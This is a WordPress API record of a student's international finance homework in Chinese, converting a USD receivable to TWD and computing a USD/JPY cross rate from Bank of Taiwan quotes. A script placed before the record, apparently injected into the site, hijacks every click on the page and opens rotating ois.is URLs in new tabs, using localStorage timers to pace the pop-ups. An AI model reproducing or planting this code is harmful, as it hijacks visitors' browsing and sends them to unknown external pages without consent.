<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":966,"date":"2023-03-03T17:51:50","date_gmt":"2023-03-03T09:51:50","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154245\/?p=966"},"modified":"2023-03-08T21:51:40","modified_gmt":"2023-03-08T13:51:40","slug":"3-9-hw2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154245\/?p=966","title":{"rendered":"\u570b\u969b\u8ca1\u7ba1\u4f5c\u696d2"},"content":{"rendered":"<p><strong>\u4e8c\u3001\u82e5\u516c\u53f8\u6709\u4e00\u7b46100\u842c\u7f8e\u91d1\u61c9\u6536\u5e33\u6b3e\uff0c\u5728\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u7684\u60c5\u6cc1\u4e0b\uff0c\u65bc2023\/2\/23\u50f9\u503c\u65b0\u53f0\u5e63\u591a\u5c11\u5143\uff1f<\/strong><\/p>\n<p>\u53f0\u7063\u9280\u884c 2023\/2\u6708 \u7f8e\u91d1\u724c\u544a\u532f\u7387<\/p>\n<p><img loading=\"lazy\" class=\"alignleft wp-image-967 size-full\" src=\"https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39.png\" alt=\"\" width=\"2336\" height=\"1276\" srcset=\"https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39.png 2336w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39-300x164.png 300w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39-800x437.png 800w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39-768x420.png 768w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39-1536x839.png 1536w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-03-\u4e0b\u53485.18.39-2048x1119.png 2048w\" sizes=\"(max-width: 2336px) 100vw, 2336px\" \/><\/p>\n<p>\uff08\u5716\u7247\u64f7\u53d6\u81ea\uff1a<a href=\"https:\/\/rate.bot.com.tw\/xrt\/quote\/2023-02\/USD\">\u81fa\u7063\u9280\u884c\u6b77\u53f2\u672c\u884c\u71df\u696d\u6642\u9593\u724c\u544a\u532f\u7387<\/a>\uff09<\/p>\n<p>2\/23 \u5373\u671f\u532f\u7387\u7684\u672c\u884c\u8cb7\u5165\u50f9\u683c\u70ba30.35<br \/>\n1,000,000(USD) x 30.35 = 30,350,000(NTD)<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u4e09\u3001\u6839\u64da\u524d\u8ff0\u7b2c\u4e8c\u984c\u7684\u7db2\u7ad9\uff0cUSD\/TWD \u8207 JPY\/TWD\uff0c\u8a08\u7b97\u51fa USD\/JPY \u7684 bid \u50f9\u683c(\u8981\u5c07\u5831\u50f9\u622a\u5716\u9644\u4e0a)\uff0c\u8aaa\u660e\u8a08\u7b97\u904e\u7a0b\u3002<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-975 size-full\" src=\"https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50.png\" alt=\"\" width=\"2336\" height=\"768\" srcset=\"https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50.png 2336w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50-300x99.png 300w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50-800x263.png 800w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50-768x252.png 768w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50-1536x505.png 1536w, https:\/\/edu.secda.info\/scu8154245\/wp-content\/uploads\/2023\/03\/\u622a\u5716-2023-03-06-\u4e0b\u53487.49.50-2048x673.png 2048w\" sizes=\"(max-width: 2336px) 100vw, 2336px\" \/><\/p>\n<p>\uff08\u5716\u7247\u64f7\u53d6\u81ea\uff1a<a href=\"https:\/\/rate.bot.com.tw\/xrt\/all\/2023-02-23\">\u81fa\u7063\u9280\u884c\u6b77\u53f2\u532f\u7387\u6536\u76e4\u50f9<\/a>\uff09<\/p>\n<p>\u9644\u5716\u7684\u5831\u50f9\u7686\u70ba\u76f4\u63a5\u5831\u50f9\uff0c bid \uff08\u672c\u884c\u8cb7\u5165\uff09\u50f9\u683c\u4ee5\u5373\u671f\u532f\u7387\u8a08\u7b97<br \/>\nUSD\/TWD\uff1a30.35<br \/>\nJPY\/TWD\uff1a0.2234<br \/>\nUSD\/JPY\uff1a135.8550\uff0830.35 \/ 0.2234\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e8c\u3001\u82e5\u516c\u53f8\u6709\u4e00\u7b46100\u842c\u7f8e\u91d1\u61c9\u6536\u5e33\u6b3e\uff0c\u5728\u4e0d\u8003\u616e\u4ea4\u6613\u6210\u672c\u7684\u60c5\u6cc1\u4e0b\uff0c\u65bc2023\/2\/<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,26],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/966"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=966"}],"version-history":[{"count":10,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/966\/revisions"}],"predecessor-version":[{"id":980,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/966\/revisions\/980"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=966"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=966"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=966"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}